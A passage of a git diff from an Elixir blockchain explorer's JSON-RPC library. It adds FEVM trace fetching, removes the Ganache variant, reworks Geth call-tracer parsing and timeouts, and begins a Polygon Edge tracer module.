"0x000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000510000000000000000000000000000000000000000000000000000000000000060000000000000000000000000000000000000000000000000000000000000001d824500e689b501550278e8a50631934966637b6ce6ad7ca7e3c68c5995000000" + }, + "blockHash": "0xbeef70ac3db42f10dd1eb03f5f0640557acd72db61357cf3c4f47945d8beab79", + "blockNumber": 3663377, + "transactionHash": "0x86ccda9dc76bd37c7201a6da1e10260bf984590efc6b221635c8dd33cc520067", + "transactionPosition": 18 + }, + { + "type": "create", + "subtraces": 0, + "traceAddress": [ + 0 + ], + "action": { + "from": "0xff00000000000000000000000000000000000004", + "gas": "0x53cf101", + "value": "0x0", + "init": "0xfe" + }, + "result": { + "address": "0xff000000000000000000000000000000002d44e6", + "gasUsed": "0x1be32fc", + "code": "0xfe" + }, + "blockHash": "0xbeef70ac3db42f10dd1eb03f5f0640557acd72db61357cf3c4f47945d8beab79", + "blockNumber": 3663377, + "transactionHash": "0x86ccda9dc76bd37c7201a6da1e10260bf984590efc6b221635c8dd33cc520067", + "transactionPosition": 18 + }, + ... + ] + """ + + require Logger + + import EthereumJSONRPC, only: [id_to_params: 1, integer_to_quantity: 1, json_rpc: 2, request: 1] + + alias EthereumJSONRPC.Geth + alias EthereumJSONRPC.Geth.Call + + @behaviour EthereumJSONRPC.Variant + + @doc """ + Block reward contract beneficiary fetching is not supported currently for FEVM. + + To signal to the caller that fetching is not supported, `:ignore` is returned. + """ + @impl EthereumJSONRPC.Variant + def fetch_beneficiaries(_block_range, _json_rpc_named_arguments), do: :ignore + + @doc """ + Fetches the `t:Explorer.Chain.InternalTransaction.changeset/2` params. + """ + @impl EthereumJSONRPC.Variant + def fetch_internal_transactions(_transactions_params, _json_rpc_named_arguments), do: :ignore + + @doc """ + Fetches the first trace from the trace URL. + """ + @impl EthereumJSONRPC.Variant + def fetch_first_trace(_transactions_params, _json_rpc_named_arguments), do: :ignore + + @doc """ + Fetches the `t:Explorer.Chain.InternalTransaction.changeset/2` params from the FEVM `trace_block` URL. + """ + @impl EthereumJSONRPC.Variant + def fetch_block_internal_transactions(block_numbers, json_rpc_named_arguments) do + id_to_params = id_to_params(block_numbers) + + with {:ok, blocks_responses} <- + id_to_params + |> debug_trace_block_by_number_requests() + |> json_rpc(json_rpc_named_arguments), + :ok <- Geth.check_errors_exist(blocks_responses, id_to_params) do + transactions_params = to_transactions_params(blocks_responses, id_to_params) + + debug_trace_transaction_responses_to_internal_transactions_params(transactions_params) + end + end + + @doc """ + Fetches the raw traces from the FEVM trace URL. + """ + @impl EthereumJSONRPC.Variant + def fetch_transaction_raw_traces(%{hash: transaction_hash, block_number: block_number}, json_rpc_named_arguments) do + request = debug_trace_block_by_number_request({0, block_number}) + transaction_hash_string = to_string(transaction_hash) + + case json_rpc(request, json_rpc_named_arguments) do + {:ok, response} -> + {:ok, Enum.filter(response, &(&1["transactionHash"] == transaction_hash_string))} + + {:error, error} -> + Logger.error(inspect(error)) + {:error, error} + end + end + + defp to_transactions_params(blocks_responses, id_to_params) do + Enum.reduce(blocks_responses, [], fn %{id: id, result: transaction_result}, blocks_acc -> + extract_transactions_params(Map.fetch!(id_to_params, id), transaction_result) ++ blocks_acc + end) + end + + defp extract_transactions_params(block_number, transaction_result) do + transaction_result + |> Enum.reduce( + {[], 0}, + # counter is the index of the internal transaction in transaction + fn %{"transactionHash" => transaction_hash, "transactionPosition" => transaction_index} = calls_result, + {transaction_acc, counter} -> + last_transaction_response_from_accumulator = List.first(transaction_acc) + + next_counter = + with {:empty_accumulator, false} <- {:empty_accumulator, is_nil(last_transaction_response_from_accumulator)}, + true <- transaction_hash !== last_transaction_response_from_accumulator["transactionHash"] do + 0 + else + {:empty_accumulator, true} -> + 0 + + _ -> + counter + 1 + end + + { + [ + Map.merge( + %{ + "blockNumber" => block_number, + "transactionHash" => transaction_hash, + "transactionIndex" => transaction_index, + "index" => next_counter + }, + calls_result + ) + | transaction_acc + ], + next_counter + } + end + ) + |> elem(0) + end + + @doc """ + Fetches the pending transactions from the FEVM node. + """ + @impl EthereumJSONRPC.Variant + def fetch_pending_transactions(_json_rpc_named_arguments), do: :ignore + + defp debug_trace_block_by_number_requests(id_to_params) do + Enum.map(id_to_params, &debug_trace_block_by_number_request/1) + end + + defp debug_trace_block_by_number_request({id, block_number}) do + request(%{ + id: id, + method: "trace_block", + params: [integer_to_quantity(block_number)] + }) + end + + defp debug_trace_transaction_responses_to_internal_transactions_params(responses) + when is_list(responses) do + responses + |> Enum.map(&debug_trace_transaction_response_to_internal_transactions_params(&1)) + |> Geth.reduce_internal_transactions_params() + end + + defp debug_trace_transaction_response_to_internal_transactions_params(call) do + internal_transaction_params = + call + |> parse_trace_block_call() + |> Call.to_internal_transaction_params() + + {:ok, internal_transaction_params} + end + + defp parse_trace_block_call(%{"Type" => type} = call) do + sanitized_call = + call + |> Map.put("type", type) + |> Map.drop(["Type"]) + + parse_trace_block_call(sanitized_call) + end + + defp parse_trace_block_call( + %{"type" => upcase_type, "action" => %{"from" => from} = action, "result" => result} = call + ) do + type = String.downcase(upcase_type) + + %{ + "type" => if(type in ~w(call callcode delegatecall staticcall), do: "call", else: type), + "callType" => type, + "from" => from, + "to" => Map.get(action, "to", "0x"), + "createdContractAddressHash" => Map.get(result, "address", "0x"), + "value" => Map.get(action, "value", "0x0"), + "gas" => Map.get(action, "gas", "0x0"), + "gasUsed" => Map.get(result, "gasUsed", "0x0"), + "input" => Map.get(action, "input", "0x"), + "init" => Map.get(action, "init", "0x"), + "createdContractCode" => Map.get(result, "code", "0x"), + "traceAddress" => Map.get(call, "traceAddress", []), + "blockNumber" => Map.get(call, "blockNumber"), + "index" => Map.get(call, "index"), + "transactionIndex" => Map.get(call, "transactionIndex"), + "transactionHash" => Map.get(call, "transactionHash"), + # : check, that error is returned in the root of the call + "error" => call["error"] + } + |> case do + %{"error" => nil} = ok_call -> + ok_call + |> Map.delete("error") + |> Map.put("output", Map.get(result, "output", "0x")) + + error_call -> + error_call + end + end +end diff --git a/apps/ethereum_jsonrpc/lib/ethereum_jsonrpc/ganache.ex b/apps/ethereum_jsonrpc/lib/ethereum_jsonrpc/ganache.ex deleted file mode 100644 index 6d9716a70633..000000000000 --- a/apps/ethereum_jsonrpc/lib/ethereum_jsonrpc/ganache.ex +++ /dev/null @@ -1,47 +0,0 @@ -defmodule EthereumJSONRPC.Ganache do - @moduledoc """ - Ethereum JSONRPC methods that are only supported by [Ganache](https://github.com/trufflesuite/ganache-core#implemented-methods). - """ - - @behaviour EthereumJSONRPC.Variant - - @doc """ - Block reward contract beneficiary fetching is not supported currently for Ganache. - - To signal to the caller that fetching is not supported, `:ignore` is returned. - """ - @impl EthereumJSONRPC.Variant - def fetch_beneficiaries(_block_range, _json_rpc_named_arguments), do: :ignore - - @doc """ - Internal transaction fetching is not currently supported for Ganache. - - To signal to the caller that fetching is not supported, `:ignore` is returned. - """ - @impl EthereumJSONRPC.Variant - def fetch_internal_transactions(_transactions_params, _json_rpc_named_arguments), do: :ignore - - @doc """ - Internal transaction fetching is not currently supported for Ganache. - - To signal to the caller that fetching is not supported, `:ignore` is returned. - """ - @impl EthereumJSONRPC.Variant - def fetch_block_internal_transactions(_block_range, _json_rpc_named_arguments), do: :ignore - - @doc """ - Pending transaction fetching is not supported currently for Ganache. - - To signal to the caller that fetching is not supported, `:ignore` is returned. - """ - @impl EthereumJSONRPC.Variant - def fetch_pending_transactions(_json_rpc_named_arguments), do: :ignore - - @doc """ - Traces are not supported currently for Ganache. - - To signal to the caller that fetching is not supported, `:ignore` is returned. - """ - @impl EthereumJSONRPC.Variant - def fetch_first_trace(_transactions_params, _json_rpc_named_arguments), do: :ignore -end diff --git a/apps/ethereum_jsonrpc/lib/ethereum_jsonrpc/geth.ex b/apps/ethereum_jsonrpc/lib/ethereum_jsonrpc/geth.ex index b067ed1f1cc8..d191b38bfaa2 100644 --- a/apps/ethereum_jsonrpc/lib/ethereum_jsonrpc/geth.ex +++ b/apps/ethereum_jsonrpc/lib/ethereum_jsonrpc/geth.ex @@ -3,10 +3,12 @@ defmodule EthereumJSONRPC.Geth do Ethereum JSONRPC methods that are only supported by [Geth](https://github.com/ethereum/go-ethereum/wiki/geth). """ + require Logger + import EthereumJSONRPC, only: [id_to_params: 1, integer_to_quantity: 1, json_rpc: 2, request: 1] - alias EthereumJSONRPC.{FetchedBalance, FetchedCode, Transactions} - alias EthereumJSONRPC.Geth.{Calls, Tracer} + alias EthereumJSONRPC.{FetchedBalance, FetchedCode, PendingTransaction, Utility.CommonHelper} + alias EthereumJSONRPC.Geth.{Calls, PolygonTracer, Tracer} @behaviour EthereumJSONRPC.Variant @@ -25,10 +27,12 @@ defmodule EthereumJSONRPC.Geth do def fetch_internal_transactions(transactions_params, json_rpc_named_arguments) when is_list(transactions_params) do id_to_params = id_to_params(transactions_params) + json_rpc_named_arguments_corrected_timeout = correct_timeouts(json_rpc_named_arguments) + with {:ok, responses} <- id_to_params |> debug_trace_transaction_requests() - |> json_rpc(json_rpc_named_arguments) do + |> json_rpc(json_rpc_named_arguments_corrected_timeout) do debug_trace_transaction_responses_to_internal_transactions_params( responses, id_to_params, @@ -37,95 +41,250 @@ defmodule EthereumJSONRPC.Geth do end end + def correct_timeouts(json_rpc_named_arguments) do + debug_trace_timeout = Application.get_env(:ethereum_jsonrpc, __MODULE__)[:debug_trace_timeout] + + case CommonHelper.parse_duration(debug_trace_timeout) do + {:error, :invalid_format} -> + json_rpc_named_arguments + + parsed_timeout -> + json_rpc_named_arguments + |> Keyword.update(:transport_options, [http_options: []], &Keyword.put_new(&1, :http_options, [])) + |> put_in([:transport_options, :http_options, :timeout], parsed_timeout) + |> put_in([:transport_options, :http_options, :recv_timeout], parsed_timeout) + end + end + @doc """ Fetches the first trace from the trace URL. """ @impl EthereumJSONRPC.Variant - def fetch_first_trace(_transactions_params, _json_rpc_named_arguments), do: :ignore + def fetch_first_trace(transactions_params, json_rpc_named_arguments) when is_list(transactions_params) do + id_to_params = id_to_params(transactions_params) - @doc """ - Internal transaction fetching for entire blocks is not currently supported for Geth. + json_rpc_named_arguments_corrected_timeout = correct_timeouts(json_rpc_named_arguments) - To signal to the caller that fetching is not supported, `:ignore` is returned. + with {:ok, responses} <- + id_to_params + |> debug_trace_transaction_requests(true) + |> json_rpc(json_rpc_named_arguments_corrected_timeout), + {:ok, traces} <- + debug_trace_transaction_responses_to_internal_transactions_params( + responses, + id_to_params, + json_rpc_named_arguments_corrected_timeout + ) do + case {traces, transactions_params} do + {[%{} = first_trace | _], [%{block_hash: block_hash} | _]} -> + {:ok, + [%{first_trace: first_trace, block_hash: block_hash, json_rpc_named_arguments: json_rpc_named_arguments}]} + + _ -> + {:error, :not_found} + end + end + end + + @doc """ + Fetches the `t:Explorer.Chain.InternalTransaction.changeset/2` params from the Geth trace URL. """ @impl EthereumJSONRPC.Variant - def fetch_block_internal_transactions(_block_range, _json_rpc_named_arguments), do: :ignore + def fetch_block_internal_transactions(block_numbers, json_rpc_named_arguments) do + id_to_params = id_to_params(block_numbers) + + with {:ok, blocks_responses} <- + id_to_params + |> debug_trace_block_by_number_requests() + |> json_rpc(json_rpc_named_arguments), + :ok <- check_errors_exist(blocks_responses, id_to_params) do + transactions_params = to_transactions_params(blocks_responses, id_to_params) + + {transactions_id_to_params, transactions_responses} = + Enum.reduce(transactions_params, {%{}, []}, fn {params, calls}, {id_to_params_acc, calls_acc} -> + {Map.put(id_to_params_acc, params[:id], params), [calls | calls_acc]} + end) + + debug_trace_transaction_responses_to_internal_transactions_params( + transactions_responses, + transactions_id_to_params, + json_rpc_named_arguments + ) + end + end @doc """ - Fetches the pending transactions from the Geth node. + Fetches the raw traces from the Geth trace URL. """ @impl EthereumJSONRPC.Variant - def fetch_pending_transactions(json_rpc_named_arguments) do - with {:ok, transaction_data} <- - %{id: 1, method: "txpool_content", params: []} |> request() |> json_rpc(json_rpc_named_arguments) do - transactions_params = - transaction_data["pending"] - |> Enum.flat_map(fn {_address, nonce_transactions_map} -> - nonce_transactions_map - |> Enum.map(fn {_nonce, transaction} -> - transaction - end) - end) - |> Transactions.to_elixir() - |> Transactions.elixir_to_params() - |> Enum.map(fn params -> - # txpool_content always returns transaction with 0x0000000000000000000000000000000000000000000000000000000000000000 value in block hash and index is null. - # https://github.com/ethereum/go-ethereum/issues/19897 - %{params | block_hash: nil, index: nil} + def fetch_transaction_raw_traces(%{hash: transaction_hash}, json_rpc_named_arguments) do + request = debug_trace_transaction_request(%{id: 0, hash_data: to_string(transaction_hash)}, false) + + case json_rpc(request, json_rpc_named_arguments) do + {:ok, traces} -> + {:ok, traces} + + {:error, error} -> + Logger.error(inspect(error)) + {:error, error} + end + end + + @spec check_errors_exist(list(), %{non_neg_integer() => any()}) :: :ok | {:error, list()} + def check_errors_exist(blocks_responses, id_to_params) do + blocks_responses + |> EthereumJSONRPC.sanitize_responses(id_to_params) + |> Enum.reduce([], fn + %{result: result}, acc -> + Enum.reduce(result, acc, fn + %{"result" => _calls_result}, inner_acc -> inner_acc + %{"error" => error}, inner_acc -> [error | inner_acc] end) - {:ok, transactions_params} + %{error: error}, acc -> + [error | acc] + end) + |> case do + [] -> :ok + errors -> {:error, errors} end end - defp debug_trace_transaction_requests(id_to_params) when is_map(id_to_params) do + def to_transactions_params(blocks_responses, id_to_params) do + blocks_responses + |> Enum.reduce({[], 0}, fn %{id: id, result: transaction_result}, {blocks_acc, counter} -> + {transactions_params, _, new_counter} = + extract_transactions_params(Map.fetch!(id_to_params, id), transaction_result, counter) + + {transactions_params ++ blocks_acc, new_counter} + end) + |> elem(0) + end + + defp extract_transactions_params(block_number, transaction_result, counter) do + Enum.reduce(transaction_result, {[], 0, counter}, fn %{"txHash" => transaction_hash, "result" => calls_result}, + {transaction_acc, inner_counter, counter} -> + { + [ + {%{block_number: block_number, hash_data: transaction_hash, transaction_index: inner_counter, id: counter}, + %{id: counter, result: calls_result}} + | transaction_acc + ], + inner_counter + 1, + counter + 1 + } + end) + end + + @doc """ + Fetches the pending transactions from the Geth node. + """ + @impl EthereumJSONRPC.Variant + def fetch_pending_transactions(json_rpc_named_arguments) do + PendingTransaction.fetch_pending_transactions_geth(json_rpc_named_arguments) + end + + def debug_trace_transaction_requests(id_to_params, only_first_trace \\ false) when is_map(id_to_params) do Enum.map(id_to_params, fn {id, %{hash_data: hash_data}} -> - debug_trace_transaction_request(%{id: id, hash_data: hash_data}) + debug_trace_transaction_request(%{id: id, hash_data: hash_data}, only_first_trace) end) end + defp debug_trace_block_by_number_requests(id_to_params) do + Enum.map(id_to_params, &debug_trace_block_by_number_request/1) + end + @tracer_path "priv/js/ethereum_jsonrpc/geth/debug_traceTransaction/tracer.js" @external_resource @tracer_path @tracer File.read!(@tracer_path) - defp debug_trace_transaction_request(%{id: id, hash_data: hash_data}) do - debug_trace_transaction_timeout = - Application.get_env(:ethereum_jsonrpc, __MODULE__)[:debug_trace_transaction_timeout] + defp debug_trace_transaction_request(%{id: id, hash_data: hash_data}, only_first_trace) do + debug_trace_timeout = Application.get_env(:ethereum_jsonrpc, __MODULE__)[:debug_trace_timeout] request(%{ id: id, method: "debug_traceTransaction", - params: [hash_data, %{tracer: @tracer, timeout: debug_trace_transaction_timeout}] + params: [hash_data, %{timeout: debug_trace_timeout} |> Map.merge(tracer_params(only_first_trace))] + }) + end + + defp debug_trace_block_by_number_request({id, block_number}) do + debug_trace_timeout = Application.get_env(:ethereum_jsonrpc, __MODULE__)[:debug_trace_timeout] + + request(%{ + id: id, + method: "debug_traceBlockByNumber", + params: [ + integer_to_quantity(block_number), + %{timeout: debug_trace_timeout} |> Map.merge(tracer_params()) + ] }) end + defp tracer_params(only_first_trace \\ false) do + cond do + tracer_type() == "js" -> + %{"tracer" => @tracer} + + tracer_type() in ~w(opcode polygon_edge) -> + %{ + "enableMemory" => true, + "disableStack" => false, + "disableStorage" => true, + "enableReturnData" => false + } + + true -> + if only_first_trace do + %{"tracer" => "callTracer", "tracerConfig" => %{"onlyTopCall" => true}} + else + %{"tracer" => "callTracer"} + end + end + end + defp debug_trace_transaction_responses_to_internal_transactions_params( [%{result: %{"structLogs" => _}} | _] = responses, id_to_params, json_rpc_named_arguments ) when is_map(id_to_params) do + if tracer_type() not in ["opcode", "polygon_edge"] do + Logger.warning( + "structLogs found in debug_traceTransaction response, you should probably change your INDEXER_INTERNAL_TRANSACTIONS_TRACER_TYPE env value" + ) + end + with {:ok, receipts} <- id_to_params |> Enum.map(fn {id, %{hash_data: hash_data}} -> request(%{id: id, method: "eth_getTransactionReceipt", params: [hash_data]}) end) |> json_rpc(json_rpc_named_arguments), - {:ok, txs} <- + {:ok, transactions} <- id_to_params |> Enum.map(fn {id, %{hash_data: hash_data}} -> request(%{id: id, method: "eth_getTransactionByHash", params: [hash_data]}) end) |> json_rpc(json_rpc_named_arguments) do receipts_map = Enum.into(receipts, %{}, fn %{id: id, result: receipt} -> {id, receipt} end) - txs_map = Enum.into(txs, %{}, fn %{id: id, result: tx} -> {id, tx} end) + transactions_map = Enum.into(transactions, %{}, fn %{id: id, result: transaction} -> {id, transaction} end) + + tracer = + if Application.get_env(:ethereum_jsonrpc, __MODULE__)[:tracer] == "polygon_edge", + do: PolygonTracer, + else: Tracer responses - |> Enum.map(fn %{id: id, result: %{"structLogs" => _} = result} -> - debug_trace_transaction_response_to_internal_transactions_params( - %{id: id, result: Tracer.replay(result, Map.fetch!(receipts_map, id), Map.fetch!(txs_map, id))}, - id_to_params - ) + |> Enum.map(fn + %{result: %{"structLogs" => nil}} -> + {:ok, []} + + %{id: id, result: %{"structLogs" => _} = result} -> + debug_trace_transaction_response_to_internal_transactions_params( + %{id: id, result: tracer.replay(result, Map.fetch!(receipts_map, id), Map.fetch!(transactions_map, id))}, + id_to_params + ) end) |> reduce_internal_transactions_params() |> fetch_missing_data(json_rpc_named_arguments) @@ -139,6 +298,7 @@ defmodule EthereumJSONRPC.Geth do ) when is_list(responses) and is_map(id_to_params) do responses + |> EthereumJSONRPC.sanitize_responses(id_to_params) |> Enum.map(&debug_trace_transaction_response_to_internal_transactions_params(&1, id_to_params)) |> reduce_internal_transactions_params() end @@ -152,7 +312,7 @@ defmodule EthereumJSONRPC.Geth do {id, %{created_contract_address_hash: address, block_number: block_number}} -> FetchedCode.request(%{id: id, block_quantity: integer_to_quantity(block_number), address: address}) - {id, %{type: "selfdestruct", from: hash_data, block_number: block_number}} -> + {id, %{type: "selfdestruct", from_address_hash: hash_data, block_number: block_number}} -> FetchedBalance.request(%{id: id, block_quantity: integer_to_quantity(block_number), hash_data: hash_data}) _ -> @@ -188,6 +348,7 @@ defmodule EthereumJSONRPC.Geth do internal_transaction_params = calls + |> prepare_calls() |> Stream.with_index() |> Enum.map(fn {trace, index} -> Map.merge(trace, %{ @@ -234,7 +395,78 @@ defmodule EthereumJSONRPC.Geth do {:error, annotated_error} end - defp reduce_internal_transactions_params(internal_transactions_params) when is_list(internal_transactions_params) do + def prepare_calls(calls) do + case Application.get_env(:ethereum_jsonrpc, __MODULE__)[:tracer] do + "call_tracer" -> {calls, 0} |> parse_call_tracer_calls([], [], false) |> Enum.reverse() + _ -> calls + end + end + + defp parse_call_tracer_calls(calls, acc, trace_address, inner? \\ true) + defp parse_call_tracer_calls([], acc, _trace_address, _inner?), do: acc + defp parse_call_tracer_calls({%{"type" => 0}, _}, acc, _trace_address, _inner?), do: acc + + defp parse_call_tracer_calls({%{"type" => type}, _}, [last | acc], _trace_address, _inner?) + when type in ["STOP", "stop"] do + [Map.put(last, "error", "execution stopped") | acc] + end + + # credo:disable-for-next-line /Complexity/ + defp parse_call_tracer_calls({%{"type" => upcase_type, "from" => from} = call, index}, acc, trace_address, inner?) do + case String.downcase(upcase_type) do + type when type in ~w(call callcode delegatecall staticcall create create2 selfdestruct revert stop invalid) -> + new_trace_address = [index | trace_address] + + formatted_call = %{ + "type" => if(type in ~w(call callcode delegatecall staticcall), do: "call", else: type), + "callType" => type, + "from" => from, + "to" => Map.get(call, "to", "0x"), + "createdContractAddressHash" => Map.get(call, "to", "0x"), + "value" => Map.get(call, "value", "0x0"), + "gas" => Map.get(call, "gas", "0x0"), + "gasUsed" => Map.get(call, "gasUsed", "0x0"), + "input" => Map.get(call, "input", "0x"), + "output" => Map.get(call, "output", "0x"), + "init" => Map.get(call, "input", "0x"), + "createdContractCode" => Map.get(call, "output", "0x"), + "traceAddress" => if(inner?, do: Enum.reverse(new_trace_address), else: []), + "error" => call["error"] + } + + parse_call_tracer_calls( + Map.get(call, "calls", []), + [formatted_call | acc], + if(inner?, do: new_trace_address, else: []) + ) + + "" -> + unless allow_empty_traces?(), do: log_unknown_type(call) + acc + + _unknown_type -> + log_unknown_type(call) + acc + end + end + + defp parse_call_tracer_calls({%{} = call, _}, acc, _trace_address, _inner?) do + unless allow_empty_traces?(), do: log_unknown_type(call) + acc + end + + defp parse_call_tracer_calls(calls, acc, trace_address, _inner) when is_list(calls) do + calls + |> Stream.with_index() + |> Enum.reduce(acc, &parse_call_tracer_calls(&1, &2, trace_address)) + end + + defp log_unknown_type(call) do + Logger.warning("Call from a callTracer with an unknown type: #{inspect(call)}") + end + + @spec reduce_internal_transactions_params(list()) :: {:ok, list()} | {:error, list()} + def reduce_internal_transactions_params(internal_transactions_params) when is_list(internal_transactions_params) do internal_transactions_params |> Enum.reduce({:ok, []}, &internal_transactions_params_reducer/2) |> finalize_internal_transactions_params() @@ -265,4 +497,12 @@ defmodule EthereumJSONRPC.Geth do defp finalize_internal_transactions_params({:error, acc_reasons}) do {:error, Enum.reverse(acc_reasons)} end + + defp tracer_type do + Application.get_env(:ethereum_jsonrpc, __MODULE__)[:tracer] + end + + defp allow_empty_traces? do + Application.get_env(:ethereum_jsonrpc, __MODULE__)[:allow_empty_traces?] + end end diff --git a/apps/ethereum_jsonrpc/lib/ethereum_jsonrpc/geth/call.ex b/apps/ethereum_jsonrpc/lib/ethereum_jsonrpc/geth/call.ex index c83b1573242b..2835c61431ea 100644 --- a/apps/ethereum_jsonrpc/lib/ethereum_jsonrpc/geth/call.ex +++ b/apps/ethereum_jsonrpc/lib/ethereum_jsonrpc/geth/call.ex @@ -3,7 +3,7 @@ defmodule EthereumJSONRPC.Geth.Call do A single call returned from [debug_traceTransaction](https://github.com/ethereum/go-ethereum/wiki/Management-APIs#debug_tracetransaction) using a custom tracer (`priv/js/ethereum_jsonrpc/geth/debug_traceTransaction/tracer.js`). """ - import EthereumJSONRPC, only: [quantity_to_integer: 1] + import EthereumJSONRPC, only: [quantity_to_integer: 1, put_if_present: 3] @doc """ A call can call another another contract: @@ -75,7 +75,9 @@ defmodule EthereumJSONRPC.Geth.Call do from_address_hash: "0x8ec75ef3adf6c953775d0738e0e7bd60e647e5ef", to_address_hash: "0xaae465ad04b12e90c32291e59b65ca781c57e361", gas: 1225, + gas_used: 1225, input: "0xa83627de", + output: nil, value: 0 } @@ -110,9 +112,11 @@ defmodule EthereumJSONRPC.Geth.Call do from_address_hash: "0xaf7cf620c3df1b9ccbc640be903d5ea6cea7bc96", to_address_hash: "0x80629758f88b3f30b7f1244e4588444d6276eef0", input: "0x49b46d5d", + output: nil, error: "stack limit reached 1024 (1024)", gas: 1445580, - value: 0 + gas_used: 1445580, + value: 0, } A contract creation: @@ -179,6 +183,7 @@ defmodule EthereumJSONRPC.Geth.Call do init: "0xf49e4745", error: "stack underflow (0 <=> 6)", gas: 540776, + gas_used: 540776, value: 5287885714285715 } @@ -299,6 +304,8 @@ defmodule EthereumJSONRPC.Geth.Call do Enum.into(call, %{}, &entry_to_elixir/1) end + defp entry_to_elixir({"error", nil} = entry), do: entry + defp entry_to_elixir({key, value} = entry) when key in ~w(callType createdContractAddressHash createdContractCode error from init input output to transactionHash type) and is_binary(value), @@ -317,56 +324,61 @@ defmodule EthereumJSONRPC.Geth.Call do entry end - defp elixir_to_internal_transaction_params(%{ - "blockNumber" => block_number, - "transactionIndex" => transaction_index, - "transactionHash" => transaction_hash, - "index" => index, - "traceAddress" => trace_address, - "type" => "call" = type, - "callType" => call_type, - "from" => from_address_hash, - "to" => to_address_hash, - "gas" => gas, - "input" => input, - "error" => error, - "value" => value - }) - when call_type in ~w(call callcode delegatecall) do + defp elixir_to_internal_transaction_params( + %{ + "blockNumber" => block_number, + "transactionIndex" => transaction_index, + "transactionHash" => transaction_hash, + "index" => index, + "traceAddress" => trace_address, + "type" => type, + "callType" => call_type, + "from" => from_address_hash, + "to" => to_address_hash, + "gas" => gas, + "gasUsed" => gas_used, + "input" => input, + "value" => value + } = params + ) + when type in ~w(call invalid) and call_type in ~w(call callcode delegatecall staticcall invalid) do %{ block_number: block_number, transaction_index: transaction_index, transaction_hash: transaction_hash, index: index, trace_address: trace_address, - type: type, + type: "call", call_type: call_type, from_address_hash: from_address_hash, to_address_hash: to_address_hash, gas: gas, + gas_used: gas_used, input: input, - error: error, + output: params["output"], value: value } + |> put_if_present(params, [ + {"error", :error} + ]) end + # failed internal transaction defp elixir_to_internal_transaction_params(%{ "blockNumber" => block_number, "transactionIndex" => transaction_index, "transactionHash" => transaction_hash, "index" => index, "traceAddress" => trace_address, - "type" => "call" = type, - "callType" => call_type, + "type" => type, "from" => from_address_hash, - "to" => to_address_hash, "gas" => gas, "gasUsed" => gas_used, - "input" => input, - "output" => output, - "value" => value + "init" => init, + "value" => value, + "error" => error }) - when call_type in ~w(call callcode delegatecall) do + when type in ~w(create create2) and not is_nil(error) do %{ block_number: block_number, transaction_index: transaction_index, @@ -374,14 +386,12 @@ defmodule EthereumJSONRPC.Geth.Call do index: index, trace_address: trace_address, type: type, - call_type: call_type, from_address_hash: from_address_hash, - to_address_hash: to_address_hash, gas: gas, gas_used: gas_used, - input: input, - output: output, - value: value + init: init, + value: value, + error: error } end @@ -392,47 +402,14 @@ defmodule EthereumJSONRPC.Geth.Call do "transactionHash" => transaction_hash, "index" => index, "traceAddress" => trace_address, - "type" => "call" = type, - "callType" => "staticcall" = call_type, + "type" => type, "from" => from_address_hash, - "to" => to_address_hash, - "input" => input, "gas" => gas, "gasUsed" => gas_used, - "value" => 0 = value + "init" => init, + "value" => value } = params - ) do - %{ - block_number: block_number, - transaction_index: transaction_index, - transaction_hash: transaction_hash, - index: index, - trace_address: trace_address, - type: type, - call_type: call_type, - from_address_hash: from_address_hash, - to_address_hash: to_address_hash, - gas: gas, - gas_used: gas_used, - input: input, - output: params["output"], - value: value - } - end - - defp elixir_to_internal_transaction_params(%{ - "blockNumber" => block_number, - "transactionIndex" => transaction_index, - "transactionHash" => transaction_hash, - "index" => index, - "traceAddress" => trace_address, - "type" => type, - "from" => from_address_hash, - "error" => error, - "gas" => gas, - "init" => init, - "value" => value - }) + ) when type in ~w(create create2) do %{ block_number: block_number, @@ -443,10 +420,15 @@ defmodule EthereumJSONRPC.Geth.Call do type: type, from_address_hash: from_address_hash, gas: gas, - error: error, + gas_used: gas_used, init: init, value: value } + |> put_if_present(params, [ + {"error", :error}, + {"createdContractAddressHash", :created_contract_address_hash, %{validation: :address_hash}}, + {"createdContractCode", :created_contract_code} + ]) end defp elixir_to_internal_transaction_params(%{ @@ -455,16 +437,13 @@ defmodule EthereumJSONRPC.Geth.Call do "transactionHash" => transaction_hash, "index" => index, "traceAddress" => trace_address, - "type" => type, + "type" => "selfdestruct" = type, "from" => from_address_hash, - "createdContractAddressHash" => created_contract_address_hash, + "to" => to_address_hash, "gas" => gas, "gasUsed" => gas_used, - "init" => init, - "createdContractCode" => created_contract_code, "value" => value - }) - when type in ~w(create create2) do + }) do %{ block_number: block_number, transaction_index: transaction_index, @@ -473,11 +452,9 @@ defmodule EthereumJSONRPC.Geth.Call do trace_address: trace_address, type: type, from_address_hash: from_address_hash, + to_address_hash: to_address_hash, gas: gas, gas_used: gas_used, - created_contract_address_hash: created_contract_address_hash, - init: init, - created_contract_code: created_contract_code, value: value } end @@ -488,9 +465,9 @@ defmodule EthereumJSONRPC.Geth.Call do "transactionHash" => transaction_hash, "index" => index, "traceAddress" => trace_address, - "type" => "selfdestruct" = type, + "type" => "stop" = type, "from" => from_address_hash, - "to" => to_address_hash, + "input" => input, "gas" => gas, "gasUsed" => gas_used, "value" => value @@ -503,10 +480,11 @@ defmodule EthereumJSONRPC.Geth.Call do trace_address: trace_address, type: type, from_address_hash: from_address_hash, - to_address_hash: to_address_hash, + input: input, gas: gas, gas_used: gas_used, - value: value + value: value, + error: "execution stopped" } end end diff --git a/apps/ethereum_jsonrpc/lib/ethereum_jsonrpc/geth/polygon_tracer.ex b/apps/ethereum_jsonrpc/lib/ethereum_jsonrpc/geth/polygon_tracer.ex new file mode 100644 index 000000000000..edc16207c961 --- /dev/null +++ b/apps/ethereum_jsonrpc/lib/ethereum_jsonrpc/geth/polygon_tracer.ex @@ -0,0 +1,355 @@ +defmodule EthereumJSONRPC.Geth.PolygonTracer do + @moduledoc """ + Elixir implementation of a custom tracer (`priv/js/ethereum_jsonrpc/geth/debug_traceTransaction/tracer.js`) + for Polygon edge nodes that don't support specifying tracer in [debug_traceTransaction](https://geth.ethereum.org/docs/interacting-with-geth/rpc/ns-debug#debugtracetransaction) calls. + """ + + import EthereumJSONRPC, only: [integer_to_quantity: 1, quantity_to_integer: 1] + + @burn_address "0x0000000000000000000000000000000000000000" + + def replay( + %{"structLogs" => logs, "gas" => top_call_gas, "returnValue" => return_value} = result, + %{"contractAddress" => contract_address}, + %{"from" => from, "to" => to, "value" => value, "input" => input} + ) + when is_list(logs) do + top = + to + |> if do + %{ + "type" => "call", + "callType" => "call", + "to" => to, + "input" => input, + "output" => Map.get(result, "return", "0x" <> Map.get(result, "returnValue", "")) + } + else + %{ + "type" => "create", + "init" => input, + 